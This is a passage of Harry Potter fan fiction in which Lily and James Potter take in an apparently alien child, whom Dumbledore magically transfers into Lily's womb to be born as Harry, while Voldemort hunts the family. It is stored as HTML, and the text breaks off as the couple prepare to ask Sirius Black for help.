care about someone &#8211;something- that wasn&#8217;t even\nhuman?</p>\n\n\n\n<p>Then something came to his\nmind.</p>\n\n\n\n<p>The first time he saw the\nsmall boy, standing on his small legs, holding the car that until then trapped\nhis wife, smiling at him even as he performed something that was so beyond\nhumanity that it was mind-boggling. </p>\n\n\n\n<p>Ashamed, he realized that\ndespite their situation, despite their sadness they were still alive... alive\nwhen he had given up on hope, a hope this boy had given back to him. </p>\n\n\n\n<p>James would have been\nsurprised to know that his wife&#8217;s mind was going over almost-identical lines\nbut in a more powerful and basic level. </p>\n\n\n\n<p>Lily looked down at the\nchild that was snuggling closer to her, a feeling of peace and contentment\nseeming to radiate from his small body, those feelings stirring something deep\nwithin her, a sense of protectiveness that hid something deeper that she couldn&#8217;t\nname.</p>\n\n\n\n<p>Still, could she care\nabout another&#8217;s child when not even two hours ago she had been told that she\nwould never have children of her own? Could she care about someone that close\nto the reason why she was barren? Could she care about the one who was\nindirectly responsible for her own misfortune? Care for something not even\nhuman? </p>\n\n\n\n<p>Care for a freak... </p>\n\n\n\n<p>For a moment her mind was\nblank. That was what Petunia had liked to call her ever since her first year at\nHogwarts and that pain remained raw within her each time she thought about her\nsister. Those words, taunting her and hurting her, were something that made her\ndefend those who were picked on or those who were called names by those who\nbelieved they had the rights to do so. </p>\n\n\n\n<p>She remembered her pain\nwhen Lucius Malfoy first called her mudblood, another synonym of that thrice\ndamned word. She remembered when tears had threatened to fall when she had been\ncalled in that way by the Malfoy heir and his cronies of Slytherin.... </p>\n\n\n\n<p>Until a kind hearted, dark\nhaired and kind hearted boy jumped to her defense along with his three best\nfriends and quite clearly told Lucius and his goons to go stuff it or they\nwould curse them all into next week. </p>\n\n\n\n<p>Like the coward that he\nwas, Lucius backed off. </p>\n\n\n\n<p>She would never forget\nwhat James Potter had told her that day, as it was the first time she would\nrealize that she felt something more for the boy. </p>\n\n\n\n<p>&#8220;Ignore them.&#8221; </p>\n\n\n\n<p>&#8220;But...&#8221;</p>\n\n\n\n<p>&#8220;Malfoy and his lackeys can only call you\nnames because they know that they are too pathetic to do anything else. For\nthem, if they see you hurt calling you things that aren&#8217;t true, it&#8217;s enough...\nThey hate anything that they see different or that they find threatening. They\nwill lash out, calling you freak, calling you anything their sick mind will\ncome with because they are too stupid to know that they are the ones with the\nproblem.&#8221; </p>\n\n\n\n<p>&#8220;But he called me mudblood...&#8221; she had said,\nher eyes watery.</p>\n\n\n\n<p>James&#8217; face had flushed red but even so his\nvoice was even, more for her sake than anything else.</p>\n\n\n\n<p>&#8220;Only a git would use those words...&nbsp; We all\nhave our differences, yeah, but underneath it all we are the same. We have the\nsame blood under our skins, behind our differences. No one deserves to be\ncalled that, no one deserves that pain but no one should believe them either.&#8221; </p>\n\n\n\n<p>&#8220;Still...&#8221; </p>\n\n\n\n<p>&#8220;Still nothing! Words like those are\nmeaningless unless you believe them yourself. You are not a freak, no one is.\nIt&#8217;s just a rotten idea someone scared came up with. And those who use\nthem&#8230;Well, they are as pathetic as the one who thought of it in the first\nplace.&#8221; </p>\n\n\n\n<p>&#8220;Like Malfoy.&#8221; </p>\n\n\n\n<p>&#8220;Like Malfoy,&#8221; he nodded. &#8220;He&#8217;s nothing more\nthan a slimy Slytherin git. Don&#8217;t mind him, and if he ever says something like\nthat hex him, make him lose his hair or something like that... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n\n\n<p>That had been pretty deep\nfor a fourteen year old.</p>\n\n\n\n<p>And she had just done\nthat, to an innocent boy who was seeking comfort between her arms, trusting her\nwith his life.</p>\n\n\n\n<p>A rush of shame crossed\nher soul, searing it.&nbsp; </p>\n\n\n\n<p>She knew that it was her\npain speaking but that didn&#8217;t excuse her. She had no excuse for thinking in\nthat way. And, to make it worse, as far as she knew this little boy was all\nalone. What had happened to make his parents send him to the immensity of\nspace?&nbsp; And what would happen to him once he grew and developed whatever\nabilities he may have? Would he be left alone, seen by all as a freak if his\ntrue nature was discovered?</p>\n\n\n\n<p>And what about the fact\nthat he saved her life and James&#8217;? If what her husband told her was true, if Albus\nwas right then she &#8211;they- owed him their lives...</p>\n\n\n\n<p>Her cheeks flared crimson\nin embarrassment and renewed shame, new tears falling down her rosy cheeks. How\ncould she have thought that way? She didn&#8217;t know, but even now she had trouble\nin burying the part of her that screamed in pain for her loss. </p>\n\n\n\n<p>She once again looked at\nthe sleeping boy. It seemed that they were made for one another, both having\nlost something that couldn&#8217;t be taken back.</p>\n\n\n\n<p>She closed her eyes trying\nto calm her mind and raging feelings, drawing the strength and tenderness she\nneeded so desperately from the feeling of the boy in her arms even as pristine\ntears continued to fall even from closed eyelids. </p>\n\n<p>&nbsp;</p>\n\n<p>Then she suddenly felt\nsmall hands reach to her, making her eyes open in surprise only to see a pair\nof small blue eyes looking at her in wonder and something like sadness in them.\nShe noticed how some of her hot tears had fallen down on his raven locks, some\nremaining there gleaming like diamonds while others continued rolling down to his\nface, giving the illusion that the cherubic boy had been crying with her.</p>\n\n\n\n<p>Lily looked up, not able\nto keep staring into those blue orbs, only to find herself gazing into another\npair of deep blue eyes, those over half moon glasses, which looked at her sadly\nbut also so full of love and tenderness, mingled with profound wisdom.</p>\n\n\n\n<p>&#8220;Dear, dear Lily...&#8221; his\nvoice was so full of compassion and understanding that it warmed her up and\nparadoxically made her cry even harder, to the great ill ease of her husband and\nof the boy in her arms that each in their clumsy ways tried to cheer her up.&nbsp; </p>\n\n\n\n<p>Dumbledore could only\nsmile sadly at this, seeing how James had closed his arms around her and the\nyoung boy between them stroking her cheeks and from time to time pulling her\nhair slightly. </p>\n\n\n\n<p>He would have said\nsomething or continued with what he was planning to say, perhaps display some\nkind of gesture of comfort but somehow he knew that his words would never reach\nLily as much as what those two were doing - giving her love, a love so pure\nthat it filled Albus Dumbledore with contentment.</p>\n\n\n\n<p>He was looking at one of\nthe most beautiful and breathtaking sights he knew.</p>\n\n\n\n<p>He was looking at a\nfamily.</p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>Once again the three\nadults sat, the young boy once again asleep after they had been able to calm\nLily enough. </p>\n\n\n\n<p>Now Dumbledore was looking\nat the three of them, deep in thought. &#8220;I guess that you both know the question\nI was going to ask you. So, can you give me an answer? Of course if you need\nmore time to consider...&#8221;</p>\n\n\n\n<p>James shook his head &#8220;No,\nprofessor, we don&#8217;t need more time.&#8221; He looked at Lily who nodded and spoke,\nher voice soft and caring. Yet, all could hear the sadness barely hidden behind\nher words. &#8220;We will take care of him. We will raise him as if he was our\nbiological son.&#8221;</p>\n\n\n\n<p>Dumbledore nodded, a wide\nsmile on his face. &#8220;Fantastic! I knew I couldn&#8217;t expect more from you both.&#8221;\nHis smile faded away as he grew suddenly serious, locking his blue eyes with a\nset of emerald green &#8220;Now let&#8217;s change the subject. Lily, I know how hard it\nwas for you to hear that you could never bear a child of your own...&#8221;</p>\n\n\n\n<p>Wordlessly, her face as\nwhite as chalk, she nodded.</p>\n\n\n\n<p>&#8220;Now that is true... but\nthere is a way for you to bear a child, this child.&#8221;</p>\n\n\n\n<p>If it was possible, Lily&#8217;s\nface turned even whiter, her eyes wide as if she was about to faint on a\nmoment&#8217;s notice. James wasn&#8217;t faring much better, his brown eyes moving from\nthe old wizard to his wife, the knuckles on his hand turning white as he closed\nand opened his fist. </p>\n\n\n\n<p>In a weak voice, he spoke.\n&#8220;Why are you asking this of us, Albus? Isn&#8217;t it what we have agreed to enough?\nHaven&#8217;t we suffered enough?&#8221;</p>\n\n\n\n<p>Dumbledore looked tenderly\nat the young man in front of him before speaking, his voice gentle. &#8220;James, I\nask this precisely for your and Lily&#8217;s sake. On your own you will never have\nchildren - something that I know you both desired immensely; that you wanted\nmore than anything else. The child being your shared love made flesh to raise\nand care about with your love and kindness.&#8221; </p>\n\n\n\n<p>&#8220;Life has dealt you both a\nterrible blow, but at the same time given you the way to overcome it and become\neven stronger in your love, raising someone who will always be alone without\nthe love of a father and a mother. If what we suspect is revealed to be true,\nhis differences will set him apart from us mere mortals. He will be alone and\nhe will suffer from it, always wondering why and how he came to be, wondering\nabout his very identity, questions that we will not be able to answer and that\nwill hurt him.&#8221;</p>\n\n\n\n<p>Dumbledore moved and\nneared Lily, who was holding the boy. His aged hand moved to brush the infant&#8217;s\ncheek. &#8220;As you may have noticed, he is a very loving boy, with a heart bigger\nthan his destiny. What I am proposing to you is to make the bonds that are\nalready between you tangible.&#8221; </p>\n\n\n\n<p>He looked at Lily. &#8220;I am\noffering you the chance to know what is now denied to you dear one, the feeling\nof a life being a part of you, of your love. Please, for your sake and his,\nconsider it.&#8221;</p>\n\n\n\n<p>Lily remained silent for a\nlong moment, her eyes staring into nothingness. James remained as silent as his\nwife but for different reasons. He didn&#8217;t know what to feel or to think, but he\nknew that it was Lily&#8217;s decision, not his. He had long known that Lily&#8217;s wishes\nwere orders to him. He may have bickered and complained as a kid but whatever\nLily wanted or desired was to be supplied, fulfilled. She was his life and for\nher he would do anything.</p>\n\n\n\n<p>Finally Lily blinked and\nher eyes met Dumbledore&#8217;s. </p>\n\n\n\n<p>Then she spoke, her voice\ntired and soft. &#8220;You are asking me to be his mother in all ways possible,\naren&#8217;t you?&#8221;</p>\n\n\n\n<p>Abus silently nodded. This\nwas followed by another long moment of silence. And then she spoke again, as\nquietly as before. </p>\n\n\n\n<p>&#8220;I will do it.&#8221;</p>\n\n\n\n<p>Dumbledore rose and softly\nkissed her brow as tears fell from her closed eyes, a gesture that was more\nfatherly than anything else only to move away from her gently. As James saw\nthis he moved to hug her, but he was stalled by an imperious gesture from the\nolder wizard that kept him from moving.</p>\n\n\n\n<p>Even if he burned in\ndesire to offer his support to Lily, James did as he was bidden. He knew that\nthe headmaster was about to summon powers that were totally unknown to him and\nas such moving, or doing anything but staying immobile could mean dangerous\nconsequences. </p>\n\n\n\n<p>Under his watchful eyes Albus\nmoved backwards, his wand appearing in his hand in a swift movement that\nbetrayed his mastery in each aspect of his magic. Then he started chanting\nsoftly, his voice low, almost like a lullaby, in a language that was unknown to\nJames but filled him with soft, aching sadness. </p>\n\n\n\n<p>Lullaby indeed. </p>\n\n\n\n<p>Soft. </p>\n\n\n\n<p>Tender. </p>\n\n<p>&nbsp;</p>\n\n<p>Comforting. </p>\n\n\n\n<p>Beautiful. </p>\n\n\n\n<p>Haunting. </p>\n\n\n\n<p>Ethereal.</p>\n\n\n\n<p>As Dumbledore&#8217;s words\nfilled the air, the tip of his wand started to glow silver. The glow grew\nbefore it spilled from the tip of the wand, moving like a ghostly cord,\nreaching towards the sleeping boy, and warping around him gently forming a\nmisty sphere, all while Albus&#8217; chant continued as the magic was at play. </p>\n\n\n\n<p>Lily released the boy who\nrose in the air, still asleep before his clothes were stripped from him. Then\nhis eyes opened and, looking at Lily, smiled a last time before returning to\nsleep. </p>\n\n\n\n<p>The magic then moved\naround him, forming a cocoon as he curled into a ball. Under the eyes of Lily,\nJames and Dumbledore the boy started to grow younger and younger as well as\nsmaller, the silvery light that surrounded him grew brighter until he\ndisappeared from their view.</p>\n\n\n\n<p>The silver-like mass hung\nin the air still connected to the wizard&#8217;s wand, before moving gently towards\nLily, the glowing ball reducing its size. For a moment it hovered in front of\nLily&#8217;s lower abdomen before sinking into her.</p>\n\n\n\n<p>The chanting voice dropped\nand the light streaming from his wand dissipated. Breathing deeply, Lily&#8217;s hand\nreached to her abdomen even as James gathered her between his arms, hugging her\nfiercely. The old wizard looked at the young woman, gazing into her green eyes\nand, as he hoped, found suffering recede slightly leaving place to something\nelse, something that he knew would help her. </p>\n\n\n\n<p>It was pure wonder, and\nthat sort of feeling after all that had happened was a sign of hope.</p>\n\n\n\n<p>Silently Albus exited the\nroom, leaving behind the couple. They would speak again and, hopefully soon\ntheir lives would return to normality. </p>\n\n\n\n<p>But for now the old wizard\nknew that it was time to give them some well earned solitude.</p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>The next months passed in\na rush with Lily becoming happier every day as her &#8220;pregnancy&#8221; followed a\nnormal course... which was what sometimes put James on the edge as Lily was\npassing by all the hormonal changes that marked pregnancies. </p>\n\n\n\n<p>It was quite funny to see\nJames rushing from one side to the other as Lily&#8217;s whims grew more and more strange\nand exotic.</p>\n\n\n\n<p>Still even with all that\nand the changes Lily&#8217;s state brought to their lives the couple could honestly\nsay that they had never been happier. </p>\n\n\n\n<p>Lily&#8217;s love for the child\ngrowing in her womb was stronger each day as she could feel that wonderful life\ngrowing with her, within her, and James was not only sharing her happiness but\nseemed to have forgotten that the baby wasn&#8217;t his. In fact his brown eyes\nglowed with a pride that his best friends found sometimes downright scary when\nit wasn&#8217;t testing their patience with James and Lily&#8217;s antics.</p>\n\n\n\n<p>Still as happy as the\ncouple was the situation in the magical world was becoming more dangerous by\nthe day. Voldemort and his followers were creating havoc and mayhem on a\nplanetary scale with raids in the five continents, the dark mark appearing in\nevery magical community throughout the world almost daily.</p>\n\n\n\n<p>Soon enough, few places\nthrough the world were said to be safe. Hogwarts was recognized as one of them,\nbeing guarded by Albus Dumbledore himself. </p>\n\n\n\n<p>But the old wizard was but\none and the forces arrayed behind Voldemort&#8217;s many and numerous. Aurors in\nBritain (and in the rest of the world) soon had to use the Unforgivable to\nstall the advance of the darkness and to keep it from spreading to the Muggle\nworld, something that was becoming increasingly difficult. </p>\n\n\n\n<p>To the memory of the wizarding\nworld, never before had the Dark Side been so powerful and the future seemed so\nhelpless.</p>\n\n\n\n<p>But for the Potters, and\neven with James working as an Auror, thus putting him in contact with the\ninternational situation in a more direct fashion, life was sheer bliss.</p>\n\n\n\n<p>Until one day, near the\nend of Lily&#8217;s pregnancy, when Dumbledore paid them a visit &#8211; he had simply\nappeared at the door, a grave expression on his face. James had known something\nwas wrong. </p>\n\n\n\n<p>The Hogwarts Headmaster\nwas quickly led to the house&#8217;s dining room and forcibly sat down for lunch with\nthe couple. The food was provided by the house elves who as always prepared a\nfeast worthy of a king. Soon it was all pleasant chatter around the food,\nfollowed by the dessert that was served along with the tea, or in Dumbledore&#8217;s\ncase hot chocolate of a Muggle brand that Lily favored.</p>\n\n\n\n<p>After the lunch the couple\nand their old friend moved to the study where they sat, James and Lily on the\nsofa while Dumbledore chose a high chair which faced them. </p>\n\n\n\n<p>The study had the clear\nmark of belonging to a Gryffindor, the all red and gold decoration along with a\ntouch of blue and other minor colors showing lion courage. The fire in the\nheart gave the room a cozy feeling, the flames giving off a dancing light that\nturned Dumbledore&#8217;s silvery hair golden and his blue eyes an arresting shade of\npurple.</p>\n\n\n\n<p>For a moment they\ncontinued talking about anything but the reason why Dumbledore was in the\nhouse, all from Quidditch to the new professors who would arrive at Hogwarts\nfor the new scholar term.</p>\n\n\n\n<p>Yet soon those matters\nwere spent and Dumbledore moved to the reason of his presence, his voice\nunusually grave, but definitely apologetic.</p>\n\n\n\n<p>&#8220;As I said before I am\nsorry to intrude in your lives, but some disturbing news reached me through my\nnet of spies, something that was important enough to command my immediate\nattention.&#8221; </p>\n\n\n\n<p>He paused. &#8220;I fear that\nsomehow Tom may have learned about the existence of our young friend and now he\nis seeking him.&#8221;</p>\n\n\n\n<p>&#8220;But professor, how could\nhe?&#8221; asked James his face betraying his concern &#8220;If what you told us is true,\nthen those who took part in the events that day were Oblivated.&#8221;</p>\n\n\n\n<p>Dumbledore nodded. &#8220;True,\nJames. But if we can say something good about Tom, he is one of the most\nintelligent beings to walk upon this land. That coupled with his cunning and\ndetermination puts few things beyond his reach.&#8221; </p>\n\n\n\n<p>&#8220;He may not know of the\ndetails of that day, but he may have monitored the displacements of Aurors\nstationed in the continent and found that some of them had taken part in\nsomething that they don&#8217;t remember. Something that someone, that is me, wants\nto keep hidden. That would be enough to draw his attention and have connected\nthat speck of information with other pieces of the mystery and that in turn\nwith other unusual happenings.</p>\n\n\n\n<p>&#8220;Happenings like the\nmeteor shower that came with our young friend. It could have granted his\nattention simply with the cost of so many Muggles&#8217; lives, something that would\nfill his dark heart with pleasure.&#8221;</p>\n\n\n\n<p>Dumbledore shook his head.\n&#8220;Anyway, he knows something and already his Death Eaters are moving through the\nworld gathering information and bringing him anything they believe would keep them\nsafe from his wrath, a more than powerful source of motivation I might add.&#8221;</p>\n\n\n\n<p>Lily swallowed her hands\nresting upon her swollen belly as if to protect her unborn child &#8220;Wh-what does\nhe know?&#8221;</p>\n\n\n\n<p>Dumbledore sighed.\n&#8220;Thankfully, not much. We have to be grateful to the fact that few people knew\nthe secret to begin with. Still as we knew thanks to Cassandra that our\nfriend&#8217;s destiny is going to be important for the world then so does Voldemort\nthrough some still unknown source.&#8221; </p>\n\n\n\n<p>&#8220;What can be deduced from\nthe information he may have is enough to make him furious as he would draw the\nconclusion that someone more powerful than him is bound to appear sometime in\nthe near future. In Tom&#8217;s mind no one can be stronger or more powerful than\nhim. He would drown the world in blood before allowing anything to rise and\nchallenge him for dominion.&#8221;</p>\n\n\n\n<p>&#8220;Still as mighty as he is\nand even with all the recourses he has at his disposition we have a large lead\nthat he doesn&#8217;t have. That give us the time we need to plan some counter to his\nmoves.&#8221;</p>\n\n\n\n<p>&#8220;What do you have in mind,\nProfessor?&#8221;</p>\n\n\n\n<p>Albus stroked his gleaming\nbeard. &#8220;For starters, let things remain as they are. As long as we act normally\nTom may not suspect the truth. Still, once your son is born we will take more\ndrastic measures... personally I would use the Fidelius charm but you must find\na worthy secret-keeper.&#8221;</p>\n\n\n\n<p>James and Lily nodded\nbefore James spoke. &#8220;I would trust Sirius with my life and I know he would do\nthe same... I can&#8217;t think of anyone better for our secret-keeper but I would\nonly ask him if You-Know-Who is really after us.&#8221;</p>\n\n\n\n<p>Dumbledore nodded. &#8220;Of\ncourse. Still I will take some precautions just in case. As Muggles say -\nbetter safe than sorry and that&#8217;s something I intend to follow. As for now I\nwill strengthen the charms around the house and the land around it. I will ask Arabella\nto assist us in this task as soon as tomorrow. We will just have to be ready if\never Tom finds the truth. With some chance this will be later than sooner.&#8221;</p>\n\n\n\n<p>For a while the room was\nplunged into silence as darkness fell outside. In the house only the flames\ngave any sound.</p>\n\n\n\n<p>---------------------------------------\n</p>\n\n\n\n<p>In those dark times even\nthe most innocent thought soon found a darker reflection bound into reality.</p>\n\n\n\n<p>As Dumbledore feared, soon\nVoldemort had his attention fixated on the Potters.</p>\n\n\n\n<p>All of the Order&#8217;s spies\nwere sure of this, without a doubt. It was as if the Dark Lord had become\nobsessed with the young couple and their newly born son, Harry. </p>\n\n\n\n<p>He commanded his Death\nEaters to search for the hiding trio, the Dark Lord&#8217;s men and women not leaving\nanything without having checked it thrice. When one of those evil wizards\nchecked some place you knew that another would check it again just in case.</p>\n\n\n\n<p>Still, thanks to the Order\nof the Phoenix the couple and their baby were always out of Voldemort&#8217;s grasp\nwhich enraged the Dark Lord beyond belief. But as the weeks passed by the\nattempts had come too close for Dumbledore&#8217;s liking.</p>\n\n\n\n<p>In his office at Hogwarts, and under the gaze of all past\nheadmasters that looked at him worriedly, Dumbledore sat, writing in a\nparchment with his green ink to the Potters. It was time to use the Fidelius\ncharm if only to gain more time to come up with new ways to sabotage Voldemort&#8217;s\nplans concerning the young family.</p>\n\n\n\n<p>He quickly finished the letter before sealing it with red wax\nand affixing the seal of Hogwarts. Then he motioned to Fawkes to come to him,\nthe golden and red bird flying from his perch only to land on the wizard&#8217;s\nshoulder.</p>\n\n\n\n<p>Dumbledore petted the magnificent bird that purred sounds of\naching perfection.</p>\n\n\n\n<p>&#8220;Ah Fawkes, what would I do without you? Ready to make a\nlittle trip to the Potters? I need you to send them this letter.&#8221;</p>\n\n\n\n<p>The magical fire eagle bobbed its head up and down in\nagreement even as it sang soft tunes that filled the room. Albus could do\nnothing but smile, Fawkes&#8217; fondness for the Potters, especially for little\nHarry, never ceased to amaze him.</p>\n\n\n\n<p>&#8220;Good. I know I could count on you. Now take this and be\ncareful.&#8221;</p>\n\n\n\n<p>The phoenix reached the rolled parchment with a golden claw\nbefore taking off with incredible speed. </p>\n\n\n\n<p>Dumbledore remained looking at the window until the phoenix\nwas but a speck of gold in the dark sky. Then he turned his attention to the\nflames in the heart, letting the mesmerizing dance sooth him.</p>\n\n\n\n<p>--------------------------------------- </p>\n\n\n\n<p>A few hours later Sirius\nBlack Apparated into the house of his best friend&#8217;s family.</p>\n\n\n\n<p>He was one of the few\nbeings who were allowed there, part of the defenses the Order had put up to guarantee\nthe protection of the young family. </p>\n\n\n\n<p>Sirius as one of the\nOrder&#8217;s operatives within the hit wizards corps knew very well the danger\nJames, Lily and young Harry were exposed to... even if he couldn&#8217;t understand\nthe reason behind Voldemort&#8217;s obsession for the Potters. Of course having James\nout of the way would be something positive for the Dark Order but that was also\ntrue for a good dozen of families, families way more involved in the war\nagainst the Dark Side.&nbsp; </p>\n\n\n\n<p>Sirius called at the door\nand soon enough the oak door opened, James meeting him in a hug that he\nreturned. It was common in those times to display your feelings in any way you\ncould as no one knew when you would lose the people you care about.</p>\n\n\n\n<p>They exchanged some words\nand more greetings before entering the house and moving towards the living\nroom. There Sirius was greeted by Lily who hugged him tenderly, a hug that\nSirius returned eagerly... it was like hugging a younger sister, someone that\nyou loved but that you couldn&#8217;t help making fun of, as was the case when they\nhad been at Hogwarts.</p>\n\n\n\n<p>Then Sirius turned to see\na quite strange view. </p>\n\n\n\n<p>There, sitting upon a\nblanket was Harry, his godson, and playing with him was Dumbledore&#8217;s red-golden\nphoenix that seemed immensely happy to share its time with the baby. From time\nto time young Harry giggled, his blue eyes seemingly shooting sparks, all the\nwhile the phoenix hummed some tunes that somehow the baby found even more\namusing, his laughter following the magical notes of the red bird.</p>\n\n\n\n<p>&#8220;Now that&#8217;s something...&#8221;\nsaid Sirius with wonder in his voice. He had never seen&nbsp; a magical animal, more\nso a phoenix, that taken with a human. A good sign if he ever saw one.</p>\n\n\n\n<p>Lily noticing the curious\nlook in the boy&#8217;s godfather eyes laughed softly.</p>\n\n\n\n<p>&#8220;Here you have your godson\nwith his inseparable friend...&#8221; </p>\n\n\n\n<p>Just then Fawkes jumped\nand landed on the boy&#8217;s shoulder, but the weight of the magical bird was too\nmuch, sending the two of them rolling in a tangle of golden wings, legs, beak\nand black hair, only to make Harry finish face first in the blanket, covered by\nthe wings of the phoenix which was shaking its head, without a doubt trying to\nregain its bearing. Young Harry slowly managed to get up even if it was to sit\nand look at his magical friend before laughing. Fawkes seeming to share the\nfun, its head moved to press itself against Harry&#8217;s cheek, causing the boy to\nthrow his little arms around the bigger bird and hug it with uncanny\ngentleness.</p>\n\n\n\n<p>Laughing, Sirius turned\njust as Lily gestured for him to follow her. They departed silently, leaving\nthe two friends behind and moved towards the study. James was already awaiting\nthem, his eyes gazing in the flames that heated the room. Still his eyes turned\nto his best friend and his wife once they entered the room.</p>\n\n\n\n<p>As one they sat, Sirius\nlooking at Lily take James&#8217; hand and how each one returned the gesture, as if\nto give each other support and strength. Finally James took a deep breath and\nstarted speaking.</p>\n\n\n\n<p>&#8220;As you know the Dark Lord\nis after us...&#8221; </p>\n\n\n\n<p>Sirius nodded. </p>\n\n\n\n<p>&#8220;What you may not know is\nhow near he has been to getting us. One of his spies has found the\ninformation about us that he needed and would have delivered it if it wasn&#8217;t\nfor one of Dumbledore&#8217; undercover agents. From what Albus tells us, You-Know-Who&#8217;s\nfury about that failure was so great that those agents had to be moved out of\nthe Dead Eaters&#8217; ranks or else they would be dead by now. That of course\npresents another problem.&#8221;</p>\n\n\n\n<p>Sirius nodded. &#8220;I can see.\nWithout those spies we lose vital information, information we need to keep you\nand others safe.&#8221;</p>\n\n\n\n<p>&#8220;That&#8217;s it. We are blind\nto the Dark Lord&#8217;s movements and that, in our case, may prove fatal.&#8221;</p>\n\n\n\n<p>Sirius once again nodded\neven if a light of interest flickered in his brown eyes. &#8220;Still one must wonder\nwhy old snake face wants to see you dead so much. Sorry to say it, Prongs, old\nman but even as mighty a wizard you are, you are no match for him.&#8221;</p>\n\n\n\n<p>James glanced at Lily, his\nwife closing her hand slightly. James sighed as his eyes returned to his\nfriend.</p>\n\n\n\n<p>&#8220;Who knows? He doesn&#8217;t need any reason to do evil that&#8217;s for\nsure.&#8221;</p>\n\n\n\n<p>Sirirus nodded as if he\nhad accepted James&#8217; explanation. Still he knew that they were keeping something\nfrom him and a small part of him felt slightly hurt.</p>\n\n\n\n<p>&lt;Get a grip on\nyourself, Padfoot. They must have their reasons for not telling you the\ntruth.&gt;</p>\n\n\n\n<p>&#8220;Right. But apart from\nthat charming situation why do you need me here?&#8221; </p>\n\n\n\n<p>Silence </p>\n\n\n\n<p>&#8220;Out with it James. You\nwere always too bloody obvious when you wanted to ask something that you didn&#8217;t\nreally want to. If not ask the pretty lady here. She will say that you are\nhopeless.&#8221;</p>\n\n\n\n<p>&#8220;Am not!&#8221;</p>\n\n\n\n<p>Giggles.</p>\n\n\n\n<p>James threw an annoyed\ngaze to his wife. &#8220;Are you making fun of me?&#8221;</p>\n\n\n\n<p>Smiling she patted his\nhead. &#8220;But of course dear. That&#8217;s my job that I fulfill with the help of that\nshady character we know as Sirius Black, man when he wants, dog when he needs.&#8221;\n</p>\n\n\n\n<p>James snorted even as his\nbest friend snickered. Then, with a weariness that Sirius had rarely seen\nbefore in his friend, James looked at him, his soft brown eyes troubled,\nholding all the fear he refused to feel, keeping it away from Lily and young\nHarry. But it was clear, by the way James held Lily&#8217;s hand, that he knew that\nhis wife knew of his fear.</p>\n\n\n\n<p>That was one of the things\nthat humbled Sirius even after all those years in contact with the couple. </p>\n\n\n\n<p>The love that they shared\nthat, if it was possible, grew day after day, awe-inspiring even. When younger,\nhe had taken some pleasure in teasing James about what he thought was but a\ncrush that his best friend had since the end of the fourth year, a crush that\nwas born out of a single, simple gesture from Lily.</p>\n\n\n\n<p>She kissed him on the\ncheek.</p>\n\n\n\n<p>That was before running\naway, her laughter silvery music. James had stood there, under the rain with a\nhand on his cheek, eyes lost even as a monstrous blush settled upon his cheeks.\nHe had remained there for a while, unresponsive to the outside world even as\nrain pelted and drenched his clothes. </p>\n\n\n\n<p>After that everything was\nsaid and done for the de facto leader of the marauders. </p>\n\n\n\n<p>Sirius kept in check the\ngrin that was coming a mile away. That had been a day to remember and years\nafter, when the girls at Hogwarts finally understood what was keeping James\naway from their tender mercies... well it wasn&#8217;t a pretty, nor quiet, picture.\nNot to forget the few dozen blokes that had the beautiful Lily Evans as their\nyet so far away paramour... </p>\n\n\n\n<p>That had been one of the\nfew, if not the only one time both Lily and James had been hated each by their\ngender group.</p>\n\n\n\n<p>Well that had been also a\ngood time for him, with all those lonely witches to comfort...</p>\n\n\n\n<p>As the years progressed\nand the feelings between James and Lily grew stronger and stronger Sirius\nslowly understood that that kind of love was reserved to a few. He had met and\nintimately knew dozen of women, magical or not, but he had still some hope to\nfind the one girl that would complete him, like his friend had found.</p>\n\n\n\n<p>Maybe it was a lost cause,\nmaybe that wasn&#8217;t what was in store to him and sometimes, rarely, mind you, he\nhad felt some bangs of sadness at that thought. Still those bouts of emotion\nwere rare, with the world they were in sucking all time for him to think of a\npossible stable love life. Indeed a war was one of those things that through\ntheir horror was able to snuff out the flame of love and heartfelt romance.</p>\n\n\n\n<p>But he knew that as long\nas his friends continued living, as long as they continued loving each other,\nand now with young Harry to make that love even more complete, Sirius would\nalways keep hope for a better future, a future free of the shadow of Voldemort.\n</p>\n\n\n\n<p>Blinking Sirius looked at\nhis two friends, noticing how they had started to look at each other in that\nunique fashion of those sharing true love and politely coughed, drawing their\nattention back to him. </p>\n\n\n\n<p>Smile teasing, Sirius\ncouldn&#8217;t help it. &#8220;Seriously you two, responsible adults and all and you\n*still* act like love-struck teenagers... tut tut... how embarrassingly\ngushing! Have you two no shame?&#8221; </p>\n\n\n\n<p>Lily&#8217;s green eyes blazed\nand Sirius swallowed. The only time she had spoken with fire in her eyes, Lucius\nMalfoy had had to stay in the hospital wing for a straight week. The only thing\nthat prevented him in hitting the ground and beg for his sad life or even\nrunning away as if the very Dark Lord was after him was the teasing smile upon\nher lips. </p>\n\n\n\n<p>James&#8217; smile helped some\ntoo, but who cared about that? No one paid any attention when Lily&#8217;s eyes were\nupon oneself... no mater if you were a friend or a foe, Lily&#8217;s eyes were\narresting in their intensity. </p>\n\n\n\n<p>&#8220;Uh... that&#8217;s... ah...&#8221; he\ntried to say but those damn eyes kept him from it. </p>\n\n\n\n<p>Lily&#8217;s stiff finger poked\nhim in the ribs, making him back off slightly. &#8220;Nice going, mangy mutt... one\nwould wonder where you come from with such expressive words.&#8221; </p>\n\n\n\n<p>Sirius blinked &#8220;Who are\nyou calling &#8220;mutt&#8221;?&#8221; </p>\n\n\n\n<p>Lily sighed dramatically\nbefore looking exaggeratedly around her &#8220;Is there any other flea-infested dog Animagi\naround here?&#8221; She looked at James, eyes wide. &#8220;Do you see another half-witted\nwizard that would become a dog around here James?&#8221; </p>\n\n\n\n<p>James grinned, shaking his\nhead. &#8220;Nope. No one would be that dumb.&#8221; </p>\n\n\n\n<p>Sirius threw him an\nexasperated mock glare &#8220;You&#8217;re enjoying this, aren&#8217;t you?&#8221;</p>\n\n\n\n<p>James&#8217; grin grew wider.\n&#8220;More than you would believe.&#8221; </p>\n\n\n\n<p>Sirius snorted, a sound so\nlike the ones he did in his dog persona that both James and Lily laughed.\nUnable to hold it back, Sirius soon joined them.&nbsp; But soon the laughter died\nand seriousness settled down again, the three adults realizing that it was time\nto speak about Sirius&#8217;s summoning. </p>\n\n\n\n<p>Not of those to beat about\nthe bush, Sirius leaned back on his chair, his dark brown eyes in full Auror\nmode. </p>\n\n\n\n<p>&#8220;All right, what&#8217;s the\nreason why you wanted me here? I know it wasn&#8217;t to speak about my fleas.&#8221; The\nlast comment was aiming to relax the situation but it failed. </p>\n\n\n\n<p>James threw a last look at\nLily before speaking. &#8220;Dumbledore believes that things are starting to 